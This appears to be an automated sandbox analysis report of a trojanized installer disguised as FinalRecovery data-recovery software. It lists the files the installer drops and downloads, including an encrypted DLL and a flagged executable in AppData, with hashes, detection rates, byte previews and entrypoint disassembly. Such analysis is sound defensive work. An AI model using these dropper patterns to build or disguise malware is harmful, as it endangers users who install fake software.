Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>..<Settings>...<Misc readyinform="True" showdlgonclick="True" adjustmentquery="True"/>...<Enhanced structurematch="False"/>...<FileTypes expand="True">....<Type ext="rar"/><Type ext="zip"/><Type ext="doc"/><Type ext="xls"/><Type ext="ppt"/></FileTypes>...<RawRecovery>....<DefaultSize><Type major="0" minor="0" defaultsize="1" maxsize="20"/><Type major="0" minor="1" defaultsize="1" maxsize="20"/><Type major="0" minor="2" defaultsize="1" maxsize="20"/><Type major="0" minor="3" defaultsize="1" maxsize="20"/><Type major="0" minor="4" defaultsize="1" maxsize="20"/><Type major="0" minor="5" defaultsize="1" maxsize="20"/><Type major="0" minor="6" defaultsize="1" maxsize="20"/><Type major="0" minor="7" defaultsize="1" maxsize="20"/><Type major="0" minor="8" defaultsize="1" maxsize="20"/><Type major="0" minor="9" defaultsize="1" maxsize="20"/><Type major="0" minor="10" defaultsize="1" maxsize="20"/><Type major="0" minor="11" defaultsize="1" m

C:\Program Files (x86)\FLSCover\Rec528\data\is-O02RD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp
File Type:	XML 1.0 document, ASCII text, with very long lines (5978), with CRLF line terminators
Category:	dropped
Size (bytes):	6452
Entropy (8bit):	4.734154041089812
Encrypted:	false
SSDEEP:	96:EonMpdbxw/+9MjLKJ9+LsxS/wV2iderMRyLjQ1WsL+9w/SxEDz8bONAPujBUTjkv:E7nb
MD5:	247D3A0C3B0C53CA33D032A561619495
SHA1:	F30570C48749FE427FACCBDF925048B149D22460
SHA-256:	783AC8FBA1DD88291A4F331EC2459DDE4005CF70FAFB4F19F9061713FFD580EB
SHA-512:	9D18FDC8A32C86A0F8C2BB408A33A71645632289CA0D684B58B98862AA1A67E75258D39C621F4E647753A1480D50444756D125C273B16323A757270CD94B7BBD
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>..<Settings>...<Misc readyinform="True" showdlgonclick="True" adjustmentquery="True"/>...<Enhanced structurematch="False"/>...<FileTypes expand="True">....<Type ext="rar"/><Type ext="zip"/><Type ext="doc"/><Type ext="xls"/><Type ext="ppt"/></FileTypes>...<RawRecovery>....<DefaultSize><Type major="0" minor="0" defaultsize="1" maxsize="20"/><Type major="0" minor="1" defaultsize="1" maxsize="20"/><Type major="0" minor="2" defaultsize="1" maxsize="20"/><Type major="0" minor="3" defaultsize="1" maxsize="20"/><Type major="0" minor="4" defaultsize="1" maxsize="20"/><Type major="0" minor="5" defaultsize="1" maxsize="20"/><Type major="0" minor="6" defaultsize="1" maxsize="20"/><Type major="0" minor="7" defaultsize="1" maxsize="20"/><Type major="0" minor="8" defaultsize="1" maxsize="20"/><Type major="0" minor="9" defaultsize="1" maxsize="20"/><Type major="0" minor="10" defaultsize="1" maxsize="20"/><Type major="0" minor="11" defaultsize="1" m

C:\Program Files (x86)\FLSCover\Rec528\finalrecovery.chm (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp
File Type:	MS Windows HtmlHelp Data
Category:	dropped
Size (bytes):	553405
Entropy (8bit):	7.979175020825392
Encrypted:	false
SSDEEP:	12288:G8kCp81IkXlwDvsttKcoKRWqZPP4owP1G2uQeDyXwaWt:HJp3kXlDvKwRWg4owdGueDiwaWt
MD5:	37E6EEA8C4E469F6439F3790166815DD
SHA1:	E0A3768F291CC7FCE178A001F0356D4FBA29D81F
SHA-256:	606D66026DA226D1AA1C1A4CA6416F3B9F6C66791F4116EB3FFF9E8E28E6B113
SHA-512:	68D3DA77F272A382D800EBB07F02156957CB14C96728896BBB5F6A1E9AEA9A1A5DA4EFCCB09D49096E986A3FCE3F86685B5AFD790887DB28F8F9F5C76D9435A9
Malicious:	false
Preview:	ITSF....`.......&..u.......\|.{.......".....\|.{......."..`...............x.......T........................q..............ITSP....T...........................................j..].!......."..T...............PMGL................./..../#IDXHDR...Q.../#ITBITS..../#STRINGS.....<./#SYSTEM..F.9./#TOPICS...Q.../#URLSTR...-.a./#URLTBL...a.L./$FIftiMain..._..r./$OBJINST...D.../$WWAssociativeLinks/..../$WWAssociativeLinks/Property...@../$WWKeywordLinks/..../$WWKeywordLinks/Property...<../about.htm..v.../advscan.htm...T.../createimg.htm..m.../enhanced.htm.....H./filetypes.htm...:.-./FinalRecovery.hhc...v./healthdiag.htm..._.[./licence.htm..u.../loadimg.htm..m.../misc.htm...c.m./new.htm..~.o./OptAdv.htm.....+./partiscan.htm....+./quicktutorial.htm...P.8./quicktutorial.swf...3..../rawrecovery.htm...g.4./recover1.htm../.#./recover2.htm..R.../stdscan.htm..p...::DataSpace/NameList..<(::DataSpace/Storage/MSCompressed/Content.....r,::DataSpace/Storage/MSCompressed/ControlData.j.)::DataSpace/Storage/MSCompr

C:\Program Files (x86)\FLSCover\Rec528\is-0I9HC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1949
Entropy (8bit):	4.915453283427292
Encrypted:	false
SSDEEP:	48:Sik3C0nGTAFE3blB/aMO0Mk2fLXVn7K+eq9hb6Suf:pkvGTAFELlB/A4GXVnWU9BNuf
MD5:	C0AE85DB30FE9027DBBF3BA758FA78BE
SHA1:	95E69DB95504A9F61D090690F32FB5D2F685C604
SHA-256:	CF63BBFD735C18757AC2AA6CB8A14C82745B6158F9FD299BD189D9CA3E7A2DE7
SHA-512:	DA53177074E79F96C1C7E477E0E7B63CD1D2B836DB9E8066F20B60897FC5770D2B16594A84A953A9CD56BD4C0DDB7D5EFBDDF881EEA840D6B106552C5AC6815E
Malicious:	false
Preview:	.. F i n a l R e c o v e r y v3.0.7.0325....Overview ..========....FinalRecovery is a powerful and easy-to-use file recovery software. It is suitable ..for various data recovery situations. Some of those situations are listed below. ....1 Recover accidentally deleted files (files were deleted by using windows explorer, .. command line, other software utilities; files which lost while empting recycle .. bin; file losses which caused by unknown reasons); ..2 Recover files from accidentally formatted disk volume; ..3 Recover files from lost partitions (the cases may be partition deletion, disk .. repartitioning, partition losses which caused by virus or other reasons) or .. corruptted partitions; ..4 Recover files from drive image files; ..5 Predict drive failures (doesn't support SCSI hard drives, removable hard drives). ....FinalRecovery supports FAT12, FAT16, FAT32, NTFS, NTFS5 and Raw file system. It can ..recover files from hard disks, floppies, U disks, PCMCIA-

C:\Program Files (x86)\FLSCover\Rec528\is-D912P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp
File Type:	MS Windows HtmlHelp Data
Category:	dropped
Size (bytes):	553405
Entropy (8bit):	7.979175020825392
Encrypted:	false
SSDEEP:	12288:G8kCp81IkXlwDvsttKcoKRWqZPP4owP1G2uQeDyXwaWt:HJp3kXlDvKwRWg4owdGueDiwaWt
MD5:	37E6EEA8C4E469F6439F3790166815DD
SHA1:	E0A3768F291CC7FCE178A001F0356D4FBA29D81F
SHA-256:	606D66026DA226D1AA1C1A4CA6416F3B9F6C66791F4116EB3FFF9E8E28E6B113
SHA-512:	68D3DA77F272A382D800EBB07F02156957CB14C96728896BBB5F6A1E9AEA9A1A5DA4EFCCB09D49096E986A3FCE3F86685B5AFD790887DB28F8F9F5C76D9435A9
Malicious:	false
Preview:	ITSF....`.......&..u.......\|.{.......".....\|.{......."..`...............x.......T........................q..............ITSP....T...........................................j..].!......."..T...............PMGL................./..../#IDXHDR...Q.../#ITBITS..../#STRINGS.....<./#SYSTEM..F.9./#TOPICS...Q.../#URLSTR...-.a./#URLTBL...a.L./$FIftiMain..._..r./$OBJINST...D.../$WWAssociativeLinks/..../$WWAssociativeLinks/Property...@../$WWKeywordLinks/..../$WWKeywordLinks/Property...<../about.htm..v.../advscan.htm...T.../createimg.htm..m.../enhanced.htm.....H./filetypes.htm...:.-./FinalRecovery.hhc...v./healthdiag.htm..._.[./licence.htm..u.../loadimg.htm..m.../misc.htm...c.m./new.htm..~.o./OptAdv.htm.....+./partiscan.htm....+./quicktutorial.htm...P.8./quicktutorial.swf...3..../rawrecovery.htm...g.4./recover1.htm../.#./recover2.htm..R.../stdscan.htm..p...::DataSpace/NameList..<(::DataSpace/Storage/MSCompressed/Content.....r,::DataSpace/Storage/MSCompressed/ControlData.j.)::DataSpace/Storage/MSCompr

C:\Program Files (x86)\FLSCover\Rec528\is-EJ9G4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp
File Type:	data
Category:	dropped
Size (bytes):	2491753
Entropy (8bit):	6.2535333299603195
Encrypted:	false
SSDEEP:	24576:mzyEzyqd/zyCzytzy3ozyikzy3DKzyH1cuu7hhyGW1G4dPApP8Xv+MysNKt19crT:wTIxvnu7byGx4Ff+MyOe19UuRDy
MD5:	AAE2F1475E852D41D371B6CB7F9813EF
SHA1:	E5C9DB852CA1268A076259E03E9C0DCF15EB22DA
SHA-256:	EAD63B2C168FC3984B0B8B8A948EB15062E2FDBB722BB974FCE8610D2D8EB50A
SHA-512:	C1DFABC1EE689C70FED3C825ABF86F9E3A76D8102B1EF3FBCFBDC87185E9640A875341ED1CAC31063005A0FB942623746A00E70DFE5E20B7A61202432AA66312
Malicious:	false
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0,sd..........B...............................@.........................................................................\............\..................................................8...........................$............................text............................... ..`.rdata..z!.......0..................@..@.data...@...........................@....tls................................@....rsrc....`.......`..................@..@.fls528......p..i....p..............`...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\FLSCover\Rec528\is-Q8OGG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	791040
Entropy (8bit):	6.608982798504157
Encrypted:	false
SSDEEP:	24576:pvfBdvyjNf8cbMtMJjLKRfwaNSkxtkNkYzSYcj0oHyxdpVhNZFGv+56nBb/ExWyt:pBC4rTQnC1QaX4+I
MD5:	5C2FE7D4DDE65810152054F3C93C1815
SHA1:	2A19F3FAA78A5072068F7902DB19A248F11FA69B
SHA-256:	233D846FEB73A38141BDF6C813C7476FA3F66DCD3548338607F3B7CB61CAC730
SHA-512:	2C01AE918044829FC649F0775BF3FFDB417B1524B47CDABFF0C06B6382B6578A742D9C1D036090D7AD1FC3A8B7D563D28C0CDB94DE572BF883389825F73FD654
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................\|......$.............@..............................................@...........................@...,...0..............................................................................DH...............................text...D{.......\|.................. ..`.itext..l........................... ..`.data...l8.......:..................@....bss.....C...............................idata...,...@......................@....tls....4....p...........................rdata..............................@..@.reloc..............................@..B.rsrc........0......................@..@....................................@..@................................................................................................

C:\Program Files (x86)\FLSCover\Rec528\is-U3J98.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	670474
Entropy (8bit):	6.480362295801881
Encrypted:	false
SSDEEP:	12288:spmOmg1k2bfrP437QzH/A6A40lG77Nzkn9Gymxpp:mmt2bfrP437QzH/A6A7E7dmPmxpp
MD5:	9ED3858F4C066125A0A6B9FADCD95DCE
SHA1:	BEE9B47A0EF101F1784B65A0B3DB6C6518C7520F
SHA-256:	8EFE36858B9E1CDF3B5D901A4EC17E4EEC148707F526264F35A2BCDA5E139A13
SHA-512:	A460EF220E126D8406F7603ABF697379928E7983C8DAD8A070125E1C205F269702B173FC1B10E18B622B51C6FB081A3E30200E0A7F342FEA41147132C4D270E9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*............................X.............@..............................................@...............................%.......,...................................................0......................................................CODE....l........................... ..`DATA................................@...BSS.....p................................idata...%.......&..................@....tls......... ...........................rdata.......0......................@..P.reloc..t....@......................@..P.rsrc....,.......,..................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\FLSCover\Rec528\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp
File Type:	InnoSetup Log Rec528, version 0x2a, 3674 bytes, 123716\user, "C:\Program Files (x86)\FLSCover\Rec528"
Category:	dropped
Size (bytes):	3674
Entropy (8bit):	4.378368790525658
Encrypted:	false
SSDEEP:	48:K4zyMuLBv8Ra0VpifrDWQNtahqqLVO3471N7nuRxWZv1rUczddv:72p8supAWQahqWOIhpnuqTv
MD5:	2FB7EF6747A75C8A0126D2B35C9A8254
SHA1:	3ADA72747D895F9F1AE603064C16830D91369846
SHA-256:	672A704DD5482DF3153A9DB796F784C83A8AD76F25364F4D652BE5AF5D7DE672
SHA-512:	66C6D7FDC8C49F8935929BCCE04F41729E194C6CB181C4B7A9BE352774EB0E05FF35770EDA90526C4BEFBF1CE2750CF7B05D094204250DF7F21D2FF96FF0CD86
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................Rec528..........................................................................................................................Rec528..........................................................................................................................*.......Z...%...............................................................................................................!.`\....q.....1.......F....123716.user&C:\Program Files (x86)\FLSCover\Rec528.............9.).. ..........D.IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..'...dll:kernel32.dll.CreateFileA.............#...dll:kernel32.dll.WriteFile...........!...dll:kernel32.dll.CloseHandle.......!...dll:kernel32.dll.ExitProcess.......$...dll:User32.dll.GetSystem

C:\Program Files (x86)\FLSCover\Rec528\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	670474
Entropy (8bit):	6.480362295801881
Encrypted:	false
SSDEEP:	12288:spmOmg1k2bfrP437QzH/A6A40lG77Nzkn9Gymxpp:mmt2bfrP437QzH/A6A7E7dmPmxpp
MD5:	9ED3858F4C066125A0A6B9FADCD95DCE
SHA1:	BEE9B47A0EF101F1784B65A0B3DB6C6518C7520F
SHA-256:	8EFE36858B9E1CDF3B5D901A4EC17E4EEC148707F526264F35A2BCDA5E139A13
SHA-512:	A460EF220E126D8406F7603ABF697379928E7983C8DAD8A070125E1C205F269702B173FC1B10E18B622B51C6FB081A3E30200E0A7F342FEA41147132C4D270E9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*............................X.............@..............................................@...............................%.......,...................................................0......................................................CODE....l........................... ..`DATA................................@...BSS.....p................................idata...%.......&..................@....tls......... ...........................rdata.......0......................@..P.reloc..t....@......................@..P.rsrc....,.......,..................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\stuk[1].htm

Download File

Process:	C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.975418017913833
Encrypted:	false
SSDEEP:	3:iIxcsJE:iyE
MD5:	C0236A8F8EB0411CC373CD432E252990
SHA1:	49CA519830FADD97FA7BFB7C3404ED2DB29DF4E0
SHA-256:	375CD2A305050C0ECDC8EF9A417194DB2955F3C99B04C76F1B2CD5A88369A242
SHA-512:	3EDFDF13D9AE53C3DC77B299137C7F318B689F4880D72E50CF037F5A4F5C2A6CBC24CB5FE557C10F458CD1658B65E27EF994794FAB2D8E1562694E7DE5039E7E
Malicious:	false
Preview:	kvQoRqtcCyMtHmQyQXOUu

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\dll[1].htm

Download File

Process:	C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\fuckingdllENCR[1].dll

Download File

Process:	C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe
File Type:	data
Category:	dropped
Size (bytes):	95248
Entropy (8bit):	7.998277474001343
Encrypted:	true
SSDEEP:	1536:1ajIVNDkCngyeaL3ZC7cjgn35QgjaeiPr6idOZAkOLfTRCaLQhAboaAkepTXnkY5:1vVpj3ZC72gnJQg2eikik4FC9/RX+f6
MD5:	636E3CA21F2541B5EE3AB9922A183C79
SHA1:	4B98C5432E534AF5FA17424C907E61CCFA6880D9
SHA-256:	9B97BF40465ACFBAB5D61EE45ECAC1E485A988ADC66E1A859F950605DC5677B9
SHA-512:	6AA99DFAB439063332383EBA737F34A5929353794245E8E4469EAEB2F7055889891D5A3F3CD3C9F20E37DCDEBFA78C5B5749F3BFDF40263970C880F047A0BDBB
Malicious:	false
Preview:	..'m..h.f{Q{..7_....l../....3`.p.$.....]....~@..Vt.%..eB.9a../_...G...\|.O..0HG`......`... k..x#.).....W..n...;.vmN....T..:l...........37r.../..X.1,..)..^.Y....N.{8........=..R..E.z.c..G.~X.0.}.b....rE..d...........(...M`.O.Y....?....D...R....N...C.{..E.\i.......:.h...#..\...d...O.."..N.yw.2.$..L.{....[w\....v.....zm....9.\|.q...p....j.WfQ.5h^rY.r.-..^}g.......]%...El.98Q..5F).F...).KBD..<0..l7...:..!.....L..P.l..oV....h..~;.G..K....-..={.....U.%...~.(.DE..8..df./...n...FC....~#.`.a........B.r..OJ^-...$.(`...N..k....P..h.....+.o...W.m.0...&j...E...Sip..p...U..Qx...q.[.."......U..n\|.Me_...PT.\|c.wt....5l...'..f..6n..,.+....4....J.\..+..\..C...:1.u..l.h...n.6..5P.-/........m70D..D._....?..9.V...M8..m.T.]4.i.IQN....BV..."h.......f......V.(..W..H.`,.V`..l.;...}.@.......*..rD....6OP.OC#^......=^7.R...tx..Q<..J..o.n..q.O..f.F....).Y2v..I...g.lnV.X..sm.>....^eO.l.....EB...u.m.E.\|.X...)b 7.K.ma."..%t..p.....U\.....L..A.:._.@...c3..[.m...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\dll[1].htm

Download File

Process:	C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\plus[1].htm

Download File

Process:	C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp

Download File

Process:	C:\Users\user\Desktop\1ibwQtrqNy.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	659968
Entropy (8bit):	6.470646344307062
Encrypted:	false
SSDEEP:	12288:0pmOmg1k2bfrP437QzH/A6A40lG77Nzkn9Gymxp:umt2bfrP437QzH/A6A7E7dmPmxp
MD5:	1F2BC482C99F55A713CF6CA3C1FF04F8
SHA1:	852BACEF61B885AA31AFC7F615DE6C6AF0F715F4
SHA-256:	0A0D0B1916549CF997E2110A768D5BD088F5D1390960C22CB9609FE722779DCF
SHA-512:	A0ECE5740FADBDB08F8A9EFDB5E72B56198CFB35981835E03DAFD2AD09D61BC592E602887D7CF65C58FC19B26CAEA653C1B5E5D4F35A85EBDC784300AA6948E9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*............................X.............@..............................................@...............................%.......,...................................................0......................................................CODE....l........................... ..`DATA................................@...BSS.....p................................idata...%.......&..................@....tls......... ...........................rdata.......0......................@..P.reloc..t....@......................@..P.rsrc....,.......,..................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-5SERN.tmp\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-5SERN.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	4.226829458093667
Encrypted:	false
SSDEEP:	48:6Q5EWGg69eR+Xl4SH8u09tmRJ/tE/wJI/tZ/P8sB1a:32Gel4NP9tK2/wGXhHa
MD5:	9E5BA8A0DB2AE3A955BEE397534D535D
SHA1:	EF08EF5FAC94F42C276E64765759F8BC71BF88CB
SHA-256:	08D2876741F4FD5EDFAE20054081CEF03E41C458AB1C5BBF095A288FA93627FA
SHA-512:	229A9C66080D59B7D2E1E651CFF9F00DB0CBDC08703E60D645651AF0664520CA143B088C71AD73813A500A33B48C63CA1795E2162B7620453935A4C26DB96B21
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........o4...g...g...g).zg...g...g...g.&lg...g.&yg...gRich...g........PE..d...9TTB..........#...........................@..............................P...............................................................!..x............@..H.................................................................... ...............................text............................... ..`.rdata....... ......................@..@.data...,....0......................@....pdata..H....@......................@..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-5SERN.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\IFLIjCfKSqd.exe

Download File

Process:	C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	6.20389308045717
Encrypted:	false
SSDEEP:	1536:bvUpDLxyxA14o3/M238r6+XfHAgbqmE8MpKdwuasZLUM7DsWlXcdyZgfmi:WDLZKa/MtXfHAgbqmEtxsfmyZgfmi
MD5:	3FB36CB0B7172E5298D2992D42984D06
SHA1:	439827777DF4A337CBB9FA4A4640D0D3FA1738B7
SHA-256:	27AE813CEFF8AA56E9FA68C8E50BB1C6C4A01636015EAC4BD8BF444AFB7020D6
SHA-512:	6B39CB32D77200209A25080AC92BC71B1F468E2946B651023793F3585EE6034ADC70924DBD751CF4A51B5E71377854F1AB43C2DD287D4837E7B544FF886F470C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........................................................................9...........Rich............................PE..L....,?c.....................~......_.............@..........................`............@.....................................(....@.......................P..........8...............................@............................................text............................... ..`.rdata..dY.......Z..................@..@.data........ ......................@....rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, InnoSetup self-extracting archive
Entropy (8bit):	7.994995673189032
TrID:	Win32 Executable (generic) a (10002005/4) 98.88% Inno Setup installer (109748/4) 1.08% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	1ibwQtrqNy.exe
File size:	2146015
MD5:	65dd3ed482f22906e70dd004a73e5cef
SHA1:	ffe8496a9d3f0a2f5571e683b466d3f3d2092172
SHA256:	15f5d9cd2cb95efaecbf0bc1a455cd6cc301848a5ba71cc4788e4b68c327382d
SHA512:	762707faeacb8f9e17a2e084fa3345961325a7fd061f72a50e6136a890cf07f6832d514c2c30ff6538c31b98427c301b6fdbffdfcfd2d0290c3620627e3118e1
SSDEEP:	49152:Sii/UTUrr4aL/bmKCAnjHtY4pxw2XZs8wux:Si4W64aWKC6NYGnXmc
TLSH:	C1A5337192B54276E1C2C5BB6EB2CB705576FEB80660718C326DFC794E32242DC6A31A
File Content Preview:	MZP.....................@.......................Inno.. .HA..............!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Static PE Info

General

Entrypoint:	0x409820
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	1
OS Version Minor:	0
File Version Major:	1
File Version Minor:	0
Subsystem Version Major:	1
Subsystem Version Minor:	0
Import Hash:	e92b45c54aa05ec107d5ef90662e6b33

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFD4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-10h], eax
mov dword ptr [ebp-1Ch], eax
call 00007F3D6C693D7Bh
call 00007F3D6C695026h
call 00007F3D6C697229h
call 00007F3D6C697270h
call 00007F3D6C699867h
call 00007F3D6C6999CEh
mov esi, 0040BDE0h
xor eax, eax
push ebp
push 00409F05h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 00409EBBh
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
